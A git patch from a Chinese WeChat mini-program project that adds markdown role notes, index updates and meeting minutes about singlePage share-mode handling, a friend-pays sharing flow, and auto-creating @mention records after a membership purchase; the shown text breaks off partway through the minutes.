From d6cdd6fdba44ac5b070109f2f10e5320fad99c80 Mon Sep 17 00:00:00 2001 From: Alex-larget <33240357+Alex-larget@users.noreply.github.com> Date: Wed, 18 Mar 2026 20:33:50 +0800 Subject: [PATCH 1/3] =?UTF-8?q?=E5=88=A0=E9=99=A4=E4=B8=8D=E5=86=8D?= =?UTF-8?q?=E4=BD=BF=E7=94=A8=E7=9A=84=E6=96=87=E4=BB=B6=EF=BC=8C=E5=8C=85?= =?UTF-8?q?=E6=8B=AC=E5=BC=80=E6=94=BE=20API=20=E9=89=B4=E6=9D=83=E8=A7=84?= =?UTF-8?q?=E8=8C=83=E6=96=87=E6=A1=A3=E3=80=81=E6=95=B0=E6=8D=AE=E5=BA=93?= =?UTF-8?q?=E8=BF=81=E7=A7=BB=E8=84=9A=E6=9C=AC=E5=92=8C=E6=97=A7=E7=89=88?= =?UTF-8?q?=E5=9B=BE=E6=A0=87=E7=BB=84=E4=BB=B6=EF=BC=8C=E4=BC=98=E5=8C=96?= =?UTF-8?q?=E9=A1=B9=E7=9B=AE=E7=BB=93=E6=9E=84=E5=92=8C=E8=B5=84=E6=BA=90?= =?UTF-8?q?=E7=AE=A1=E7=90=86=E3=80=82=E6=9B=B4=E6=96=B0=E5=B0=8F=E7=A8=8B?= =?UTF-8?q?=E5=BA=8F=E4=BB=A3=E7=A0=81=E4=BB=A5=E6=94=AF=E6=8C=81=E4=BB=A3?= =?UTF-8?q?=E4=BB=98=E5=8A=9F=E8=83=BD=EF=BC=8C=E5=A2=9E=E5=8A=A0=E4=BB=A3?= =?UTF-8?q?=E4=BB=98=E5=88=86=E4=BA=AB=E5=BC=B9=E7=AA=97=E5=92=8C=E6=94=AF?= =?UTF-8?q?=E4=BB=98=E9=80=BB=E8=BE=91=EF=BC=8C=E6=8F=90=E5=8D=87=E7=94=A8?= =?UTF-8?q?=E6=88=B7=E4=BD=93=E9=AA=8C=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../agent/产品经理/evolution/2026-03-18.md | 38 + .../agent/后端工程师/evolution/2026-03-18.md | 41 + .cursor/agent/团队/evolution/2026-03-18.md | 24 + .../小程序开发工程师/evolution/2026-03-18.md | 34 + .../agent/开发助理/evolution/2026-03-18.md | 15 + .cursor/agent/开发助理/经验清单.md | 4 +- .cursor/agent/开发助理/项目索引/产品.md | 4 +- .cursor/agent/开发助理/项目索引/后端.md | 4 +- .cursor/agent/开发助理/项目索引/团队.md | 4 +- .cursor/agent/开发助理/项目索引/小程序.md | 4 +- .cursor/agent/开发助理/项目索引/测试.md | 4 +- .cursor/agent/开发助理/项目索引/管理端.md | 4 +- .../管理端开发工程师/evolution/2026-03-18.md | 29 + .../agent/软件测试/evolution/2026-03-18.md | 34 + ...-18_超级个体开通后自动创建@人与资料引导.md | 130 + .cursor/meeting/README.md | 1 + ee.txt | 0 miniprogram/app.js | 4 +- miniprogram/pages/gift-pay/detail.wxml | 4 + miniprogram/pages/gift-pay/list.wxml | 2 +- .../pages/gift-pay/redemption-detail.wxml | 2 +- miniprogram/pages/my/my.wxml | 4 - miniprogram/pages/read/read.js | 246 +- miniprogram/pages/read/read.wxml | 45 + miniprogram/pages/read/read.wxss | 129 + miniprogram/pages/vip/vip.js | 28 + open-api-sign.md | 238 -- ...{index-o3d5k2lQ.css => index-BgHLp2oy.css} | 2 +- .../{index-DyqIjjBz.js => index-jQTzpVXX.js} | 52 +- soul-admin/dist/index.html | 4 +- .../pages/distribution/DistributionPage.tsx | 13 +- soul-api/internal/handler/autolink.go | 2 +- soul-api/internal/handler/book.go | 2 +- soul-api/internal/handler/ckb_open.go | 51 +- soul-api/internal/handler/cron.go | 83 + soul-api/internal/handler/db_person.go | 101 +- soul-api/internal/handler/gift_pay.go | 6 +- soul-api/internal/handler/miniprogram.go | 8 + soul-api/internal/handler/orders.go | 7 + soul-api/internal/model/gift_pay_request.go | 4 +- soul-api/internal/model/person.go | 4 + soul-api/internal/router/router.go | 2 + soul-api/scripts/add-persons-user-id.sql | 10 + soul_miniprogram.sql | 2380 ----------------- 临时需求池/2026-03-16-文章编辑自动创建@和#.md | 75 - 代付页面/stitch_soul/_1/code.html | 143 + 代付页面/stitch_soul/_1/screen.png | Bin 0 -> 189976 bytes 代付页面/stitch_soul/_2/code.html | 133 + 代付页面/stitch_soul/_2/screen.png | Bin 0 -> 151447 bytes 代付页面/stitch_soul/_3/code.html | 181 ++ 代付页面/stitch_soul/_3/screen.png | Bin 0 -> 114295 bytes 代付页面/stitch_soul/image.png/screen.png | Bin 0 -> 201316 bytes 开发文档/10、项目管理/运营与变更.md | 20 + 开发文档/10、项目管理/项目落地推进表.md | 57 + 开发文档/1、需求/以界面定需求.md | 2 +- 开发文档/1、需求/需求汇总.md | 2 + 开发文档/代付-需求分析与待完善.md | 13 + 57 files changed, 1672 insertions(+), 2761 deletions(-) create mode 100644 .cursor/agent/产品经理/evolution/2026-03-18.md create mode 100644 .cursor/agent/后端工程师/evolution/2026-03-18.md create mode 100644 .cursor/agent/团队/evolution/2026-03-18.md create mode 100644 .cursor/agent/小程序开发工程师/evolution/2026-03-18.md create mode 100644 .cursor/agent/开发助理/evolution/2026-03-18.md create mode 100644 .cursor/agent/管理端开发工程师/evolution/2026-03-18.md create mode 100644 .cursor/agent/软件测试/evolution/2026-03-18.md create mode 100644 .cursor/meeting/2026-03-18_超级个体开通后自动创建@人与资料引导.md delete mode 100644 ee.txt delete mode 100644 open-api-sign.md rename soul-admin/dist/assets/{index-o3d5k2lQ.css => index-BgHLp2oy.css} (80%) rename soul-admin/dist/assets/{index-DyqIjjBz.js => index-jQTzpVXX.js} (81%) create mode 100644 soul-api/scripts/add-persons-user-id.sql delete mode 100644 soul_miniprogram.sql delete mode 100644 临时需求池/2026-03-16-文章编辑自动创建@和#.md create mode 100644 代付页面/stitch_soul/_1/code.html create mode 100644 代付页面/stitch_soul/_1/screen.png create mode 100644 代付页面/stitch_soul/_2/code.html create mode 100644 代付页面/stitch_soul/_2/screen.png create mode 100644 代付页面/stitch_soul/_3/code.html create mode 100644 代付页面/stitch_soul/_3/screen.png create mode 100644 代付页面/stitch_soul/image.png/screen.png create mode 100644 开发文档/10、项目管理/项目落地推进表.md diff --git a/.cursor/agent/产品经理/evolution/2026-03-18.md b/.cursor/agent/产品经理/evolution/2026-03-18.md new file mode 100644 index 00000000..6612125c --- /dev/null +++ b/.cursor/agent/产品经理/evolution/2026-03-18.md @@ -0,0 +1,38 @@ +# 产品经理 经验记录 - 2026-03-18 + +## 文档归档与需求口径(界面驱动) + +### 需求基准(验收口径) +- **需求以界面为准**:以 `开发文档/1、需求/以界面定需求.md` 的“界面清单 + 业务逻辑对齐”为验收基准。 +- **需求清单与变更记录**: + - 需求清单:`开发文档/1、需求/需求汇总.md` + - 近期讨论/决议:`开发文档/10、项目管理/运营与变更.md` + - 里程碑执行层:`开发文档/10、项目管理/项目落地推进表.md` + +### 归档原则(避免文档发散) +- 新增/改版功能必须同步更新: + - 《以界面定需求》(界面与主要接口) + - 《需求汇总》(需求清单条目:日期/描述/状态/备注) + - 《运营与变更》(决议与实现摘要) +- 旧方案文档若已过时:在 `开发文档/README.md` 的“已移除文档”里登记清理原因,避免重复讨论。 + +### 功能需求整理(按产品域) +- **内容阅读与付费**:预览与解锁规则、VIP 全章免费、余额支付与微信支付链路、阅读统计与埋点。 +- **代付分享**:发起人支付后分享;好友打开阅读页自动领取并解锁;发起人可查看领取进度与明细。 +- **推广分销与提现**:分润规则可配置(会员 20%/非会员 10%、内容 90%)、提现闭环(申请→审核/打款→回写→订阅消息)。 +- **找伙伴/存客宝**:@mention/#标签自动创建与同步;留资与匹配流程;限频与风控边界。 + +### 分享场景强约束(验收必测) +- **好友分享 vs 朋友圈分享(singlePage)**: + - 朋友圈进入可能是单页模式,页面能力不完整 + - 验收必须覆盖:单页模式不触发支付/自动领取等强动作,且明确引导“前往小程序”进入完整版 + +## 超级个体开通后自动创建@人与资料引导(会议决议) + +### 业务目标与规则 +- **自动创建 @人**:用户开通超级个体后,管理端「链接人与事」自动创建一条 Person 记录,展示名与用户**当前昵称一致**。 +- **资料完善拦截**:支付超级个体前若昵称/头像为默认值,必须引导至仅头像+昵称的引导页完成修改;开通后进入权益/成功页也需再次检测兜底。 + +### 待确认 +- 昵称变更后的同步规则:是否强制同步更新 Person.name,是否需要保留历史别名/展示区分。 + diff --git a/.cursor/agent/后端工程师/evolution/2026-03-18.md b/.cursor/agent/后端工程师/evolution/2026-03-18.md new file mode 100644 index 00000000..608b550a --- /dev/null +++ b/.cursor/agent/后端工程师/evolution/2026-03-18.md @@ -0,0 +1,41 @@ +# 后端工程师 经验记录 - 2026-03-18 + +## 功能需求口径整理(按接口契约与风险) + +### 需求基准(后端视角) +- 以 `开发文档/1、需求/以界面定需求.md` 的“界面→接口”映射为准: + - 小程序只用 `/api/miniprogram/*` + - 管理端只用 `/api/admin/*`、`/api/db/*`、`/api/orders` 等 + +### 核心功能域(必须稳定) +- **阅读与权限**: + - 未授权只返回预览;授权返回全文 + - VIP 全章免费信号必须后端折叠输出,前端只认统一字段(避免各端各自判断) +- **支付链路**: + - 下单→支付→回调→解锁/分润,必须具备幂等与可追溯(订单号、来源、日志) +- **代付分享(发起人支付,好友领取)**: + - 发起人支付后产生可分享 requestSn + - 好友领取必须并发安全(名额扣减原子、重复领取幂等) + - 权益归属必须正确(代付场景 beneficiaryUserID=发起人) +- **推广/分润/提现**: + - 分润规则可配置,计算口径一致 + - 提现流转:申请→审核/打款→回写状态→订阅消息 + +### 分享场景风险点(联调/验收必测) +- **朋友圈 singlePage**:属于前端能力限制,但后端要做到: + - 接口幂等(前端重试/重复进入会更频繁) + - 错误码与提示文案清晰(便于前端引导“前往小程序”) + +### 文档归档(后端相关) +- 里程碑推进表:`开发文档/10、项目管理/项目落地推进表.md` +- 测试流程与回归口径:`scripts/test/功能测试流程.md` + +## 超级个体开通后自动创建@人(Person)与资料完善 flags + +### 幂等与建模建议 +- 自动创建 Person 建议以业务主键(`userId`)作为**幂等键**,避免仅依赖昵称导致重名/改名混乱。 +- 倾向在 `persons` 增加 `user_id`(并做唯一索引/约束),后续昵称变更时可按 `user_id` 同步更新 `name`。 + +### 端上资料完善判断 +- 默认头像/昵称判定不建议只靠前端字符串规则;后端可在用户资料/登录态接口返回明确布尔值(如 `profileNeedComplete` / `isDefaultAvatar` / `isDefaultNickname`),小程序仅消费并跳转引导页。 + diff --git a/.cursor/agent/团队/evolution/2026-03-18.md b/.cursor/agent/团队/evolution/2026-03-18.md new file mode 100644 index 00000000..85ffb62e --- /dev/null +++ b/.cursor/agent/团队/evolution/2026-03-18.md @@ -0,0 +1,24 @@ +# 团队 经验记录 - 2026-03-18 + +## 分享链路统一规则:兼容朋友圈 singlePage(单页模式) + +### 背景 +微信“朋友圈分享”点进小程序页可能是 **singlePage**,能力不完整;如果不做判断,容易出现支付/登录/领取等链路断裂,引发转化损失与投诉。 + +### 团队级决议(跨端共识) +- **任何“分享进入”的关键流程**(支付、代付、领取、绑定等)都要: + - **识别 singlePage**:`wx.getSystemInfoSync().mode === 'singlePage'`(并允许通过 `app.globalData.isSinglePageMode` 兜底标记) + - **做能力降级**:单页模式不执行强动作(支付/自动领取/自动登录等) + - **给出明确引导**:提示用户点击底部 **「前往小程序」** 进入完整版后再操作 + +### 落地建议 +- UI/交互层:统一封装 `ensureFullAppMode()`(或页面内统一判断),避免每个按钮散落实现导致漏判 +- 测试层:新增用例覆盖“朋友圈 singlePage 打开 + 点击关键按钮”应出现引导而非报错/卡死 + +## 超级个体开通后自动创建@人与资料完善拦截(跨端共识) + +### 团队级决议 +- “可被 @ 的人”统一走 Person 体系,避免为超级个体另建一套 mention 逻辑。 +- 幂等键应绑定业务主键(优先 `userId`),展示名同步为昵称(具体同步规则由产品确认)。 +- 默认资料判定尽量由后端提供明确 flags,前端仅做跳转与阻断,并保留兜底规则。 + diff --git a/.cursor/agent/小程序开发工程师/evolution/2026-03-18.md b/.cursor/agent/小程序开发工程师/evolution/2026-03-18.md new file mode 100644 index 00000000..ddc66b76 --- /dev/null +++ b/.cursor/agent/小程序开发工程师/evolution/2026-03-18.md @@ -0,0 +1,34 @@ +# 小程序开发工程师 经验记录 - 2026-03-18 + +## 分享链路:好友/朋友圈单页模式兼容(强约束) + +### 场景 +- **好友分享**:从会话/好友点进来,页面能力完整,可登录、可支付、可领取。 +- **朋友圈分享**:点进来可能是 **singlePage(单页模式)**,页面能力不完整(常见限制:登录/支付/部分交互不可靠)。 + +### 结论(必须执行) +- **凡涉及分享链路的功能**(购买、代付、领取、登录等),必须先判断是否处于单页模式: + - `const isSinglePage = (wx.getSystemInfoSync()?.mode === 'singlePage') || app.globalData.isSinglePageMode` +- **单页模式下能力降级**: + - 禁止直接发起支付、禁止隐式自动领取等强动作 + - 通过弹窗/提示文案 **引导用户点击底部「前往小程序」进入完整版**后再操作 +- **非单页模式**:正常执行登录/支付/领取等完整链路 + +### 推荐实现点位(模板) +- 打开页:若参数表示“代付/领取/支付”等强动作,单页模式直接 `wx.showModal` 提示并 return +- 按钮点击:支付/领取/登录等入口,统一在 handler 最前面做单页模式拦截 + +### 关联模块 +- 阅读页 `pages/read/read`、代付/支付相关页面 + +## 超级个体支付前资料完善拦截(头像+昵称引导) + +### 结论 +- 复用 `pages/avatar-nickname`(仅头像+昵称)作为“资料完善引导页”。 +- 在两处做强校验并跳转: + - **支付超级个体之前**:在“去支付/确认支付”按钮入口先校验默认头像/昵称,不通过则 `navigateTo('/pages/avatar-nickname/avatar-nickname')` 并 return。 + - **开通成功后**:在权益页/成功回调再校验一次兜底,确保用户最终资料不为默认。 + +### 口径 +- 默认判断优先使用后端返回 flags(如 `profileNeedComplete`),前端仅做兜底规则(空昵称、昵称以“微信用户”开头、头像为空/命中默认头像域名等)。 + diff --git a/.cursor/agent/开发助理/evolution/2026-03-18.md b/.cursor/agent/开发助理/evolution/2026-03-18.md new file mode 100644 index 00000000..71afa901 --- /dev/null +++ b/.cursor/agent/开发助理/evolution/2026-03-18.md @@ -0,0 +1,15 @@ +# 开发助理 经验记录 - 2026-03-18 + +## 开发文档归档整理(统一入口与索引一致性) + +### 发现与修复 +- `开发文档/README.md` 索引引用了 `开发文档/10、项目管理/项目落地推进表.md`,但该文件缺失。 +- 已补齐:新建 `开发文档/10、项目管理/项目落地推进表.md`,用于记录里程碑、风险与下一步。 + +### 归档建议(持续维护规则) +- 需求基准:`以界面定需求.md` +- 需求清单:`需求汇总.md` +- 决议与变更:`运营与变更.md` +- 执行层推进:`项目落地推进表.md` +- 每次变更后按上述 4 份文档联动更新,避免“清单/决议/执行层”脱节。 + diff --git a/.cursor/agent/开发助理/经验清单.md b/.cursor/agent/开发助理/经验清单.md index 3ab0261c..c822c1cf 100644 --- a/.cursor/agent/开发助理/经验清单.md +++ b/.cursor/agent/开发助理/经验清单.md @@ -51,6 +51,8 @@ | 2026-03-17 | 小程序 | 业务规则 | - | 代付统一到代付页:gift=1&ref 打开 read 时 redirectTo 代付页,禁止在阅读页代付 | | 2026-03-17 | 软件测试 | 流程定稿 | testing SKILL | 功能测试流程:成功 ☑️、失败列问题、最终报告;scripts/test/功能测试流程.md、测试报告-环境与用例清单.md | | 2026-03-17 | 后端、团队 | 架构/最佳实践 | api-dev SKILL | Redis 缓存:parts/hot/recommended/stats/config/章节 content;容灾回退 DB;OSS 上传;/health 返回 database/redis 状态 | +| 2026-03-18 | 小程序、团队 | 业务规则/最佳实践 | - | 分享链路兼容好友/朋友圈 singlePage:单页模式能力降级(不支付/不自动领取),引导点击底部“前往小程序”进入完整版 | +| 2026-03-18 | 产品、后端、管理端、测试 | 文档归档/需求口径 | - | 文档归档整理:以《以界面定需求》为基准,各角色重整“功能需求+验收口径+风险点”并写入各自经验库;补齐《项目落地推进表》 | --- @@ -61,4 +63,4 @@ --- -**最后更新**:2026-03-17(会议收尾:源码优化完成与测试流程定稿) +**最后更新**:2026-03-18 diff --git a/.cursor/agent/开发助理/项目索引/产品.md b/.cursor/agent/开发助理/项目索引/产品.md index 54296adb..aef54c31 100644 --- a/.cursor/agent/开发助理/项目索引/产品.md +++ b/.cursor/agent/开发助理/项目索引/产品.md @@ -24,9 +24,11 @@ Soul 创业派对产品定位:面向创业者的社区/工具型小程序。 | 2026-03-16 | 乘风发起例行开发进度同步 | 已完成 | | 2026-03-16 | 会议:new-soul 新需求与当前项目差异分析 | 已完成 | | 2026-03-17 | 会议:稳定版源码质量优化;验收标准功能不变、三端联调通过 | 待续 | +| 2026-03-18 | 文档归档整理:以《以界面定需求》为基准,重整需求口径/验收点/分享 singlePage 约束,写入产品经验库 | 已完成 | +| 2026-03-18 | 会议:超级个体开通后自动创建@人与支付前资料引导(头像+昵称) | 已完成 | > **格式说明**:每次开发后在此追加一行,日期格式 YYYY-MM-DD,状态用:已完成 / 进行中 / 待续 / 搁置 --- -**最后更新**:2026-03-17 +**最后更新**:2026-03-18 diff --git a/.cursor/agent/开发助理/项目索引/后端.md b/.cursor/agent/开发助理/项目索引/后端.md index 354b2d4c..15a3ef98 100644 --- a/.cursor/agent/开发助理/项目索引/后端.md +++ b/.cursor/agent/开发助理/项目索引/后端.md @@ -36,9 +36,11 @@ soul-api(Go + Gin + GORM + MySQL)提供三组路由:`/api/miniprogram/*` | 2026-03-17 | 会议:稳定版源码质量优化;敏感配置生产强制校验、新增 /api/admin/user/track、AdminWithdrawTest 环境限制 | 已完成 | | 2026-03-17 | 会议收尾:源码优化 10 项全部完成;开发环境测试 10 通过 2 跳过 | 已完成 | | 2026-03-17 | 性能优化会议:Redis 缓存接入(parts/hot/recommended/stats/config/章节 content)、容灾回退 DB;OSS 上传接入;/health 返回 database/redis 状态 | 已完成 | +| 2026-03-18 | 文档归档整理:按界面→接口→规则口径重整后端功能需求与风险点,写入角色经验库 | 已完成 | +| 2026-03-18 | 会议:超级个体开通后自动创建@人(Person 绑定 userId 幂等)与资料完善 flags 方案 | 已完成 | > **格式说明**:每次开发后在此追加一行,日期格式 YYYY-MM-DD,状态用:已完成 / 进行中 / 待续 / 搁置 --- -**最后更新**:2026-03-17 +**最后更新**:2026-03-18 diff --git a/.cursor/agent/开发助理/项目索引/团队.md b/.cursor/agent/开发助理/项目索引/团队.md index 0afdc8f5..03f77197 100644 --- a/.cursor/agent/开发助理/项目索引/团队.md +++ b/.cursor/agent/开发助理/项目索引/团队.md @@ -29,9 +29,11 @@ Soul 创业派对全项目架构与约定:路由隔离(miniprogram/admin/db | 2026-03-16 | TipTap Mention 需 data-label 规则;链接人与事与存客宝对接优化会议收尾 | 已完成 | | 2026-03-17 | 代付美团式流程与权益归属约定:读页→代付页→分享;权益/分佣归发起人;PayNotify beneficiaryUserID | 已完成 | | 2026-03-17 | 性能优化与 Redis 缓存方案落地:Redis 容灾回退 DB、OSS 上传容灾;/health 返回 database/redis 状态 | 已完成 | +| 2026-03-18 | 吸收经验:分享进入链路需兼容朋友圈 singlePage;单页模式不执行支付/自动领取等强动作并引导“前往小程序” | 已完成 | +| 2026-03-18 | 会议:超级个体开通后自动创建@人统一走 Person;幂等键绑定 userId;默认资料 flags 后端输出 | 已完成 | > **格式说明**:每次架构级讨论后在此追加一行,日期格式 YYYY-MM-DD --- -**最后更新**:2026-03-17 +**最后更新**:2026-03-18 diff --git a/.cursor/agent/开发助理/项目索引/小程序.md b/.cursor/agent/开发助理/项目索引/小程序.md index 3327944e..3639070e 100644 --- a/.cursor/agent/开发助理/项目索引/小程序.md +++ b/.cursor/agent/开发助理/项目索引/小程序.md @@ -39,9 +39,11 @@ | 2026-03-17 | 代付页营销:章节标题+20%内容预览;我的代付列表点击进详情;页面协调 | 已完成 | | 2026-03-17 | 会议:稳定版源码质量优化;删除 payment.js、goToMatch 重复、备份文件;config 读取、totalSections 动态化 | 已完成 | | 2026-03-17 | 会议收尾:源码优化 5 项全部完成;开发环境测试通过 | 已完成 | +| 2026-03-18 | 吸收经验:分享链路需兼容好友/朋友圈 singlePage;单页模式能力降级并引导“前往小程序”进入完整版 | 已完成 | +| 2026-03-18 | 会议:支付超级个体前/开通后资料默认校验,跳转 avatar-nickname 引导页(仅头像+昵称) | 已完成 | > **格式说明**:每次开发后在此追加一行,日期格式 YYYY-MM-DD,状态用:已完成 / 进行中 / 待续 / 搁置 --- -**最后更新**:2026-03-17 +**最后更新**:2026-03-18 diff --git a/.cursor/agent/开发助理/项目索引/测试.md b/.cursor/agent/开发助理/项目索引/测试.md index 8ac67a6f..ea8820bb 100644 --- a/.cursor/agent/开发助理/项目索引/测试.md +++ b/.cursor/agent/开发助理/项目索引/测试.md @@ -30,7 +30,9 @@ | 2026-03-17 | 会议:稳定版源码质量优化;每项小回归、全部完成后完整三端联调 | 待续 | | 2026-03-17 | 会议收尾:功能测试流程定稿、测试报告模板、开发环境 10 通过 2 跳过 | 已完成 | | 2026-03-17 | 性能优化会议:test_upload.py 6 用例;/health 可验证 database/redis;部署后回归缓存接口 | 已完成 | +| 2026-03-18 | 文档归档整理:按界面驱动口径统一验收;补充分享 singlePage 降级与引导为必测项 | 已完成 | +| 2026-03-18 | 会议:新增用例(资料默认阻断支付、Person 自动创建幂等、昵称变更同步回归) | 已完成 | --- -**最后更新**:2026-03-17 +**最后更新**:2026-03-18 diff --git a/.cursor/agent/开发助理/项目索引/管理端.md b/.cursor/agent/开发助理/项目索引/管理端.md index 68f6d635..7c0d69ae 100644 --- a/.cursor/agent/开发助理/项目索引/管理端.md +++ b/.cursor/agent/开发助理/项目索引/管理端.md @@ -41,11 +41,13 @@ | 2026-03-17 | 会议:稳定版源码质量优化;UserDetailModal 改 /api/admin/user/track、RichEditor HTML 转义 | 已完成 | | 2026-03-17 | 会议收尾:源码优化已落地;开发环境测试通过 | 已完成 | | 2026-03-17 | 性能优化会议:OSS 配置后上传自动优先 OSS,失败回退本地;无需前端改动 | 已完成 | +| 2026-03-18 | 文档归档整理:按《以界面定需求》重整管理端功能需求与验收口径,写入角色经验库 | 已完成 | +| 2026-03-18 | 会议:超级个体开通后自动创建@人;管理端可选展示 userId/来源以便排查重名 | 已完成 | > **格式说明**:每次开发后在此追加一行,日期格式 YYYY-MM-DD,状态用:已完成 / 进行中 / 待续 / 搁置 --- -**最后更新**:2026-03-17 +**最后更新**:2026-03-18 > 注:soul-admin 构建仍有 DistributionPage Order.description 类型错误(与本次迁移无关),待修复。 diff --git a/.cursor/agent/管理端开发工程师/evolution/2026-03-18.md b/.cursor/agent/管理端开发工程师/evolution/2026-03-18.md new file mode 100644 index 00000000..a3817fd1 --- /dev/null +++ b/.cursor/agent/管理端开发工程师/evolution/2026-03-18.md @@ -0,0 +1,29 @@ +# 管理端开发工程师 经验记录 - 2026-03-18 + +## 功能需求整理(以界面定需求 → 管理端任务清单) + +### 需求基准 +- 管理端界面与接口以 `开发文档/1、需求/以界面定需求.md` 第三节为准。 +- 允许路径:`/api/admin/*`、`/api/db/*`、`/api/orders` 等;禁止调用 `/api/miniprogram/*`。 + +### 主要功能域(稳定版基线) +- **登录与鉴权**:JWT Bearer;鉴权失败应清 token 并回登录(避免假登录态)。 +- **数据概览**:用户/订单/收入、趋势与最近列表。 +- **内容管理**:章节树/内容编辑/API 文档入口(以稳定版为主,迁移新版时不覆盖核心逻辑)。 +- **用户管理**:列表/搜索/详情;VIP 设置(到期必填);用户余额与行为轨迹。 +- **订单管理**:支付方式(微信/余额/代付);筛选/退款;用户/推荐人信息展示。 +- **提现管理**:审核/打款/状态流转;测试接口在 release 环境不可用。 +- **系统设置**:免费章节、推广设置、站点与 OSS 配置(如有 region 等字段需与后端契约一致)。 + +### 新版差异(迁移待办口径) +- 迁移与否以 `开发文档/迁移完成度与待办清单.md` 为准:优先补齐“运行时配置/审核模式/auditMode”相关的界面隐藏与配置读取一致性。 + +### 分享链路验收提醒(管理端侧) +- 虽然 singlePage 属于小程序端场景,但管理端涉及“配置/开关/文案”时,需要给小程序提供可配置的引导文案或开关(若业务要求),否则前端只能硬编码。 + +## 超级个体开通后自动创建@人(链接人与事) + +### 管理端影响面 +- 自动创建的 Person 记录会出现在「链接人与事」列表中;如后端新增 `persons.user_id`,管理端可选增加一列“绑定用户/来源”,便于运营排查与避免重名困扰。 +- mention 展示依赖 TipTap 的 `data-label`:只要后端/数据层保证 `data-label=昵称`,管理端预览与编辑侧显示即可稳定。 + diff --git a/.cursor/agent/软件测试/evolution/2026-03-18.md b/.cursor/agent/软件测试/evolution/2026-03-18.md new file mode 100644 index 00000000..2e4a22e6 --- /dev/null +++ b/.cursor/agent/软件测试/evolution/2026-03-18.md @@ -0,0 +1,34 @@ +# 软件测试 经验记录 - 2026-03-18 + +## 文档归档后测试口径统一(按“界面→接口→规则”验收) + +### 验收基准(先看文档再测) +- 《以界面定需求》:`开发文档/1、需求/以界面定需求.md` +- 《需求清单》:`开发文档/1、需求/需求汇总.md` +- 《变更与决议》:`开发文档/10、项目管理/运营与变更.md` +- 《测试流程》:`scripts/test/功能测试流程.md` +- 《里程碑推进》:`开发文档/10、项目管理/项目落地推进表.md` + +### 分享场景新增必测点(高优先级) +- **好友分享**:进入页面能力完整,支付/登录/领取均可用。 +- **朋友圈分享(singlePage)**: + - 进入后页面能力可能不完整 + - 关键按钮点击应 **不执行强动作**(支付/自动领取/自动登录等) + - 必须出现明确引导:点击底部 **「前往小程序」** 进入完整版 + +### 回归覆盖建议(与分享强相关的链路) +- 代付分享:发起人支付→分享→好友打开→自动/手动领取→解锁正文→重复进入幂等 +- 支付与回调:微信/余额两条路,状态一致,失败/取消提示一致 +- 路径隔离:小程序只调 `/api/miniprogram/*`;管理端不调 miniprogram + +## 新增用例:超级个体开通后自动创建@人与支付前资料引导 + +### 资料引导拦截 +- 默认资料(昵称/头像)→ 点击支付超级个体 → 必须跳转 `avatar-nickname` 引导页并阻断支付 +- 引导页保存成功 → 返回原流程继续支付(不丢失上下文) +- 已完善资料 → 不拦截支付 + +### Person 自动创建(幂等) +- 支付成功回调重复触发/用户重复进入成功页 → Person 记录不应重复创建 +- 昵称变更后同步策略回归(若实现“跟随昵称”) + diff --git a/.cursor/meeting/2026-03-18_超级个体开通后自动创建@人与资料引导.md b/.cursor/meeting/2026-03-18_超级个体开通后自动创建@人与资料引导.md new file mode 100644 index 00000000..b22c5765 --- /dev/null +++ b/.cursor/meeting/2026-03-18_超级个体开通后自动创建@人与资料引导.md @@ -0,0 +1,130 @@ +# 会议纪要 - 2026-03-18 | 超级个体开通后自动创建@人与资料引导 + +> 本文件由**助理橙子**在会议结束后自动生成。 + +--- + +## 基本信息 + +- **时间**:2026-03-18 (记录时间以当天为准) +- **议题**: + - 小程序用户开通「超级个体」后,管理端「链接人与事」需自动创建一个与用户昵称一致的 `@人` + - 小程序新增校验:用户昵称/头像为默认值时,跳转到仅修改头像+昵称的引导页;且在支付超级个体之前也必须先完成此检查 +- **触发方式**:开个会 +- **参与角色**:产品经理、后端开发、管理端开发工程师、小程序开发工程师、测试人员 + +--- + +## 各角色发言 + +### 【产品经理】 + +- **目标**:让超级个体开通后立刻具备「可被内容 @」的入口,形成“内容→人→转化”的闭环;同时在付费前强制用户完善头像昵称,避免默认资料影响信任与转化。 +- **业务规则**: + - 自动创建的 `@人` 展示名 **必须与当前用户昵称一致**(后续昵称变更需要同步策略)。 + - 资料引导页只包含头像+昵称两项,用户完成后回到原流程继续支付/使用。 +- **验收**: + - 开通成功后,管理端「链接人与事」列表出现该用户昵称对应的记录;且可在内容编辑中被搜索/插入为 mention。 + - 支付超级个体前若昵称/头像为默认值,必须跳转引导页并阻断支付。 + +### 【后端开发】 + +- **建议实现点**:在“超级个体开通成功”的后端闭环(支付回调/开通接口最终落库点)触发一次“确保 Person 存在”的逻辑。 +- **数据与幂等**: + - 仅用 `name=nickname` 作为唯一键会遇到重名与改名问题;建议在 `persons` 增加 `user_id`(或等价字段)作为绑定关系,做到幂等与可追溯。 + - 若暂不加字段,也至少保证:同名已存在则复用,不重复创建。 +- **接口契约方向**: + - 小程序资料默认判定若后端统一输出更稳:建议在用户资料接口/登录态接口返回 `profileNeedComplete` / `isDefaultAvatar` / `isDefaultNickname`,小程序只负责跳转与阻断支付。 + +### 【管理端开发工程师】 + +- 「链接人与事」现有列表与 Person CRUD 已具备承载自动创建记录的能力;若增加 `user_id` 字段,可在列表中加一列“来源/绑定用户”便于运营排查。 +- 内容编辑插入 mention 已依赖 `data-label` 显示名规则:只要后端/存储保证 `data-label=昵称`,即可正确展示。 + +### 【小程序开发工程师】 + +- 工程上已有独立页 `pages/avatar-nickname/avatar-nickname`(仅头像+昵称),可复用。 +- 需要补两处拦截: + - **支付前**:在“去支付/确认支付”按钮入口做一次默认资料校验,未通过则跳转引导页并 return。 + - **开通后**:在超级个体权益页/开通成功回调后再做一次校验,若仍为默认则跳引导页(兼容用户开通后才意识到资料不完善)。 +- 默认判定若只靠前端字符串规则易漂移,建议后端提供明确布尔值;前端可做兜底规则(空昵称、昵称以“微信用户”开头、头像为空/命中默认头像域名等)。 + +### 【测试人员】 + +- 新增用例需覆盖: + - 资料默认 → 触发引导页 → 保存成功 → 回到支付流程继续完成支付 + - 资料已完善 → 不拦截支付 + - 开通成功后自动创建 Person:重复支付回调/重复点击导致的幂等(不应创建多条) + - 昵称变更后:自动创建记录是否更新展示名(按决议验收) + +--- + +## 讨论过程 + +- 讨论了 Person 的现有语义(用于文章 mention 与 CKB 线索承接),并确认“超级个体开通后自动创建 @人”应落在同一条 Person 体系内,避免另起一套表导致前后端两套 mention 逻辑分裂。 +- 对“唯一键”的讨论:仅用昵称无法保证幂等与长期一致性,因此倾向新增 `persons.user_id` 绑定用户;并在昵称变化时做同步更新策略。 +- 